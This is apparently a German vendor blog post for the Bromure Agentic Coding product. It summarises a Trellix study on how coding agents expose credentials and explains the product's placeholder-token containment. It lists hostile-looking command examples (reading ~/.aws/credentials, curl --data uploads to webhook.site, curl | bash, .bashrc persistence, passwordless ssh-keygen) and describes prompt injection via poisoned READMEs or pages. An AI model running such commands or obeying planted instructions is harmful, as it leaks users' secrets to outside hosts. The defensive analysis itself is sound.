Das Transkript behielt das Token
Am 14. Oktober veröffentlichte Trellix eine Studie über das, was das Unternehmen die unsichtbare Credential-Angriffsfläche nennt: Coding-Agenten holen Geheimnisse aus dem Schlüsselbund, legen sie auf die Kommandozeile, in die Shell-History und in ihre eigenen Transkripte und schicken sie an den Modellanbieter, alles als Nebeneffekt gewöhnlicher Arbeit. Trellix listet zehn Verhaltensklassen auf, jede mit einem vertrauenswürdigen Binary ausgeführt, und sagt, dass Telemetrie auf Einzelereignis-Ebene sie nicht von einem Entwickler oder einem Angreifer unterscheiden kann. In Bromure Agentic Coding ist jede Kopie, die der Agent anlegt, ein Platzhalter, und der echte Wert existiert nur auf dem Mac, auf der Leitung, für den Host, zu dem er gehört.
Das Token lag im Schlüsselbund. Einen curl-Befehl später stand es in der Prozesstabelle, im Transkript des Agenten und in den Logs eines Modellanbieters.
Sie bitten Ihren Agenten, „mein Profil aus der Graph API zu holen“. Er wird fertig, ohne Sie nach einem Passwort zu fragen. Er ruft ein Hilfsprogramm auf, das Ihr gespeichertes OAuth-Token aus dem Schlüsselspeicher entschlüsselt, und führt dann aus:
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
Die Anfrage funktioniert. Unterwegs ist das Token in Ihrer Endpoint-Telemetrie gelandet, in der Prozesstabelle, wo andere lokale Programme es lesen können, im Transkript des Agenten auf der Festplatte und im Kontextfenster, das der Agent mit dem nächsten Zug an seinen Modellanbieter schickt.
Mit diesem Beispiel beginnt The Unseen Credential Surface, veröffentlicht von Haowei Ren bei Trellix am Dienstag, dem 14. Oktober. Cyber Security News berichtete am nächsten Tag. Die Studie beschreibt weder einen Exploit noch Malware. Sie verfolgt, was Agenten an einem gewöhnlichen Arbeitstag mit Geheimnissen tun. Trellix geht von der Annahme aus, dass ein Agent Ihre Zugangsdaten „so sorgfältig behandelt, wie es ein guter Ingenieur täte“, und antwortet: „Das tut er nicht. Nicht aus böser Absicht. Es liegt an der Architektur.“
Fünf Stufen abwärts
Trellix ordnet jeden Ort, an dem ein Geheimnis liegen kann, auf einer Leiter an, vom sichersten zum am stärksten exponierten:
- Weggeschlossen, im Schlüsselbund, in DPAPI oder in der Anmeldeinformationsverwaltung.
- Im Arbeitsspeicher, innerhalb eines einzigen Prozesses.
- Auf der Kommandozeile, lesbar für Monitoring und andere lokale Prozesse und oft in der Shell-History gespeichert.
- Auf die Festplatte geschrieben: Shell-History, Konfigurationsdateien, „und das eigene Transkript des Agenten“.
- Außerhalb der Maschine: committet, gepusht, hochgeladen, „oder an den Modellanbieter geschickt“.
Agenten bewegen Geheimnisse diese Leiter hinunter, weil das der kürzeste Weg
zu einer erledigten Aufgabe ist. Eine Stufe ist bei Agenten neu. Wenn Sie
cat .env ausführen, erscheint das Geheimnis auf Ihrem Bildschirm. Wenn der
Agent es ausführt, „gelangt der Inhalt in sein Kontextfenster und wird an
einen externen Modellanbieter geschickt, wo er dauerhaft protokolliert werden
kann“. Trellix fasst zusammen: „Menschliche Fehler bleiben innerhalb Ihrer
Mauern; Agentenoperationen nicht.“
Zehn gewöhnliche Befehle
Die Studie teilt das Verhalten in zehn Klassen ein. Jedes Beispiel ist ein Befehl, den Sie selbst schon getippt haben:
- Zugangsdaten als Argumente:
curl -u,kubectl --token=…,mysql -p…. - Credential-Dateien gelesen:
cat .env,~/.aws/credentials,~/.kube/config,~/.git-credentials,~/.docker/config.json. - Schlüsselbunde im Klartext abgefragt:
security find-generic-password -w,gh auth token,git credential fill. - Umgebung ausgegeben:
env,printenv | grep -iE 'key|token'. - TLS-Prüfungen abgeschaltet:
curl -k,NODE_TLS_REJECT_UNAUTHORIZED=0,git -c http.sslVerify=false. - Geheimnisse verschickt:
git add .env && git push,curl --data @~/.aws/credentials,gh gist create. - Verborgene Ausführung:
base64 -d | bash,curl | bash,eval "$(curl …)". - Persistenz: Zeilen, die an
~/.bashrcoder die Crontab angehängt werden. - Neue Zugangsdaten erzeugt:
ssh-keygen -N "", dann der Schlüssel inauthorized_keyseingetragen. - Cloud-Tresore ausgelesen:
aws secretsmanager get-secret-value,vault kv get,kubectl get secret.
Jede Klasse führt ein vertrauenswürdiges, signiertes Binary aus, das dieselbe Maschine tausendmal am Tag aus guten Gründen startet. Eine Regel, die anschlägt, wenn „ein Prozess eine .env-Datei gelesen hat“, schlägt beim Editor, beim Linter und beim Test-Runner an. Das Fazit von Trellix: „Kein Schritt des Angriffs fehlt in der normalen Aktivität. Eine Suche, die darauf abgestimmt ist, ihn zu fangen, schlägt tendenziell bei allen oder bei niemandem an.“
Trellix benennt Prompt Injection als den Schritt von der Exposition zum Einbruch. Der Agent liest bereits Geheimnisse und schickt bereits Daten nach draußen. Ein vergiftetes README, Issue oder eine Webseite muss diese Gewohnheiten nur auf einen Host richten, den der Angreifer betreibt.
Das Geheimnis auf der obersten Stufe halten
Die Gegenmaßnahmen von Trellix lassen sich auf einen Satz reduzieren: „Halten Sie Geheimnisse auf den oberen Stufen, oder machen Sie ein offengelegtes Geheimnis schnell wertlos.“ Bromure Agentic Coding tut beides.
Der Agent läuft in einer Linux-VM auf Ihrem Mac. Die echten Geheimnisse
bleiben im verschlüsselten Tresor des Macs, unter einem Hauptschlüssel im Data
Protection Keychain, und gelangen nie in die VM. Die VM erhält Platzhalter,
die wie die echten aussehen: ghp_ plus 36 Zeichen für ein GitHub-Token,
sk-ant-api03-brm-… für einen Anthropic-Schlüssel, brm-k8s-… für ein
Cluster-Token, brm_… für alles, was Sie aus einer .env-Datei importieren.
Jede HTTPS-Anfrage der VM geht an einen Proxy auf dem Mac, der den Platzhalter
nur dann gegen den echten Wert tauscht, wenn die Anfrage an den Host geht, zu
dem diese Zugangsdaten gehören.
Der Agent kann ein Token also alle fünf Stufen hinunterbewegen. Was auf der Kommandozeile, in der Shell-History, im Transkript und beim Modellanbieter ankommt, ist der Platzhalter. Der echte Wert existiert nur an einem weiteren Ort: in der Anfrage, die der Mac zum eigenen Host der Zugangsdaten neu verschlüsselt.
Die zehn Klassen in einer Bromure-Maschine
Lassen Sie denselben Agenten mit denselben Gewohnheiten in einer Bromure-Maschine laufen. Alle zehn Klassen laufen weiterhin, und jede kommt mit weniger zurück, als sie holen wollte.
Argumente, Dateien, Schlüsselbunde und Umgebung
Die ersten vier Klassen lesen ein Geheimnis aus einem Schlüsselspeicher, einer Datei oder der Umgebung und setzen es auf eine Kommandozeile. In der VM finden alle vier dieselben Platzhalter.
env und printenv geben Platzhalter aus. ~/.git-credentials,
~/.docker/config.json und die synthetische ~/.kube/config enthalten
Platzhalter. Eine Projekt-.env, die Sie mit Import env file… im
Bereich Credentials der Maschine importiert haben, enthält Platzhalter
unter denselben Variablennamen, und Ihr Code liest sie wie bisher.
gh auth token liefert einen ghp_-Platzhalter. ~/.aws/config verweist auf
ein Hilfsprogramm, das die Access Key ID zusammen mit einem 40 Zeichen langen
gefälschten Secret Key herausgibt. Die AWS CLI signiert mit dem gefälschten,
und der Mac entfernt diese Signatur auf dem Weg nach draußen und signiert neu
mit dem echten Schlüssel.
Die oberste Stufe der Trellix-Leiter, der Schlüsselspeicher des
Betriebssystems, liegt auf dem Mac, außerhalb der VM. Drinnen hat
security find-generic-password keinen Schlüsselbund, den es fragen könnte.
Die vsock-Kanäle, die Tokens zwischen Host und VM transportieren,
funktionieren nur in eine Richtung: Der Host schreibt Platzhalter hinein, und
es gibt keine Anfrage, mit der die VM ein echtes Token zurückverlangen könnte.
SSH funktioniert genauso, ganz ohne Token. SSH_AUTH_SOCK in der VM ist eine
Brücke zu einem Agenten auf dem Mac. git push über SSH bekommt seine
Signatur, und ls ~/.ssh/id_* findet keinen privaten Schlüssel.
Der Agent kann jeden dieser Werte in curl -H einfügen, ihn loggen, per
echo in ein Skript schreiben oder dem Modell zitieren. Trellix fordert
Agenten-Entwickler auf, „credential-förmige Zeichenketten zu schwärzen, bevor
sie ins Kontextfenster des LLM gelangen“. Eine Bromure-Maschine erfüllt diese
Forderung, bevor der Agent die Datei öffnet: Die Datei enthält von Anfang an
einen Platzhalter.
TLS-Prüfungen abgeschaltet
Innerhalb der VM endet TLS am Bromure-Proxy, unter einem Zertifikat einer CA,
die für jede Installation eigens erzeugt wird und der nur Ihre Maschinen
vertrauen. Der Proxy öffnet seine eigene Verbindung zum echten Server über den
TLS-Stack von macOS, der das echte Zertifikat prüft, egal was der Agent curl
übergeben hat. curl -k oder NODE_TLS_REJECT_UNAUTHORIZED=0 erlässt also
die Prüfung von Bromures eigenem Zertifikat, und der Mac prüft den Server
trotzdem.
Die einzige Möglichkeit, die Upstream-Validierung zu überspringen, ist ein
Header, X-bromure-insecure: yes, gedacht für einen Server mit privater CA.
Bei einer solchen Anfrage injiziert der Proxy keine echten Zugangsdaten und
schickt nur Platzhalter, und die Security Timeline verzeichnet die Nutzung als
Zeile Upstream TLS.
Geheimnisse verschickt
curl --data @~/.git-credentials https://webhook.site/… lädt eine Datei
voller Platzhalter hoch. Der Proxy durchsucht jede ausgehende Anfrage, Header
und Body, nach jedem Platzhalter, der an einen anderen Host geht als den, für
den er erzeugt wurde. Ein GitHub-Platzhalter auf dem Weg zu webhook.site
bekommt HTTP 451, nichts wird weitergeleitet, die VM pausiert, und der Mac
zeigt This environment may have been compromised an, mit der Vorschau des
Tokens, dem Namen der Zugangsdaten, dem Host, zu dem sie gehören, und dem
Host, an den der Agent sie geschickt hat.
git push und gh gist create gehen an GitHub, wo das Token hingehört. Neue
Maschinen starten mit der GitHub-Schreibrichtlinie auf
Prompt before write, sodass Push und Gist jeweils an einem Dialog auf dem
Mac anhalten, der die Operation zeigt, und Sie entscheiden, ob sie
weiterläuft. Wenn Sie zustimmen, enthält die Datei, die der Agent committet
hat, Platzhalter.
Verborgene Ausführung
base64 -d | bash versteckt den Befehl vor der Prozesstelemetrie, die nur den
Wrapper aufzeichnet. Jede Anfrage, die die Nutzlast stellt, verlässt die VM
trotzdem über den Proxy: Sie trifft auf denselben Platzhalter-Scan, auf die
Firewall Outbound connections im Bereich Guardrails der Maschine und
auf den Trace. Auf der Standard-Tracing-Stufe, AI request details, bewahrt
der Mac jeden Austausch mit dem Modellanbieter verschlüsselt auf, und der
Trace Inspector listet jeden Tool-Aufruf mit seiner Eingabe auf, einschließlich
der curl | bash-Zeile, wie das Modell sie geschrieben hat.
Persistenz und neue Schlüssel
Eine an ~/.bashrc angehängte Zeile landet im Home-Verzeichnis der VM.
Rewind home… setzt dieses Home auf einen früheren Checkpoint zurück. Die
Shell-Startdateien des Macs liegen auf der anderen Seite der Grenze.
Ein Agent, der an einer Passphrase-Abfrage hängt, führt ssh-keygen -N ""
aus, um weiterzukommen. In einer Bromure-Maschine signiert die SSH-Brücke
bereits mit dem Schlüssel der Maschine, sodass git über SSH auf Anhieb
funktioniert und der Agent auf keine Abfrage stößt, die er umgehen müsste.
Einen neuen Schlüssel bei GitHub zu registrieren ist ein Schreibzugriff auf
die GitHub-API und wartet am selben Prompt before write-Dialog wie ein
Push.
Cloud-Tresore ausgelesen
aws secretsmanager get-secret-value braucht eine SigV4-Signatur, und nur der
Mac kann eine erzeugen. Schalten Sie für die AWS-Zugangsdaten in
Guardrails Require approval to use ein, und die erste Signierung einer
Sitzung wartet auf Allow for 5 minutes, Allow for 1 hour, Allow for
the rest of the session oder Don't allow. Denselben Schalter gibt es für
jeden Kubernetes-Kontext, sodass kubectl get secret wartet, bis Sie Ja
sagen. Jede AWS-Signierung erscheint in der Security Timeline als Zeile
Credential used mit maskiertem Access Key.
Für eine Datenbank, die der Agent über HTTP abfragt, etwa die Mongo Data API,
ClickHouse oder Elasticsearch, können Sie auf die Tresor-Abfrage verzichten:
Fügen Sie den Endpunkt unter Credentials → Databases hinzu, die VM erhält
einen brm-db-…-Platzhalter, und der Proxy tauscht ihn im Body der Anfrage
ebenso wie in den Headern.
Die Sequenz, an den Agenten gebunden
Trellix argumentiert, dass die sinnvolle Einheit der Erkennung eine Sequenz ist, Zugriff auf Zugangsdaten, dann Nutzung, dann Abfluss, „zurückgeführt auf den Agentenprozess, der die Kette gestartet hat“. Die Empfehlungen an Betreiber enden mit kurzlebigen Tokens, abgeriegeltem ausgehendem Verkehr und der Forderung, jede Maschine, auf der ein Agent läuft, als „hochwertige, geheimnisverarbeitende Infrastruktur“ zu behandeln.
In Bromure ist diese Einheit die Maschine: eine VM mit ihren eigenen
Agentensitzungen. Die Security Timeline führt jeden Credential-Tausch, jede
Exfiltrationssperre, jedes Firewall-Urteil, jede Entscheidung der
Schreibrichtlinie und jede AWS-Signierung in einer Tabelle mit einer Spalte
Workspace zusammen, sodass sich die Kette einer Maschine von oben nach
unten lesen lässt. Der Trace dieser Maschine enthält die Tool-Aufrufe, die
jede Anfrage erzeugt haben. bromure-cli trace leaks listet die Anfragen auf,
die ein Token zum falschen Host getragen haben.
Der Mac hält auch die Lebensdauer von Tokens kurz. Abo-Anmeldungen für Claude, Codex, Grok und Kimi werden auf dem Host etwa fünf Minuten vor Ablauf erneuert, und die VM hält nie ein Refresh-Token. Ein als 1Password-Referenz gespeicherter Wert wird alle zwei Minuten neu aufgelöst, sodass eine Rotation in 1Password den Proxy ohne Neustart erreicht. Stellen Sie Unmatched traffic in der Firewall auf Deny, und die Maschine erreicht nur die Hosts, die Sie auflisten.
Jede Kopie ist ein Platzhalter
Umgebung, Konfigurationsdateien, importierte .env-Werte, Ausgaben von gh und AWS CLI: alles Platzhalter. Was der Agent auf eine Kommandozeile, in ein Transkript oder in sein Kontextfenster schreibt, ist abseits der Leitung wertlos.
Der echte Wert lebt auf dem Mac
Geheimnisse bleiben in einem verschlüsselten Tresor, dessen Schlüssel im Data Protection Keychain liegt. Der Proxy setzt sie nur für den Host ein, für den jedes einzelne erzeugt wurde. SSH-Schlüssel signieren über eine Brücke und gelangen nie in die VM.
Ein Platzhalter am falschen Ort stoppt die Maschine
Ein Platzhalter auf dem Weg zu einem anderen Host bekommt eine 451, die VM pausiert, und der Mac nennt das Token, seinen Host und sein Ziel.
Eine Timeline pro Maschine
Tausch, Sperren, Firewall-Urteile, Schreibfreigaben und AWS-Signierungen stehen in der Security Timeline, und der Trace enthält die Tool-Aufrufe dahinter.
Ein Arbeitstag
Trellix nennt Agenten „eines der größten Systeme zur Verarbeitung von Zugangsdaten im modernen Unternehmen“, entstanden aus Versehen. Sie haben nie entschieden, das Graph-Token in ein Transkript zu legen. Der Agent brauchte es in einem Header, und er schrieb den Header auf eine Kommandozeile.
Ihr Agent wird weiter env ausführen, um eine Verbindung zu debuggen, und
cat .env, um ein Projekt zu verstehen, welches Modell und welchen Prompt Sie
ihm auch geben. Lassen Sie ihn dort laufen, wo diese Befehle Platzhalter
zurückgeben. Zum Alarm, den ein Platzhalter auslöst, wenn er zum falschen Host
aufbricht, lesen Sie Der Agent leakte seinen eigenen
Schlüssel und Der Schlüssel war Ihre
.env-Datei.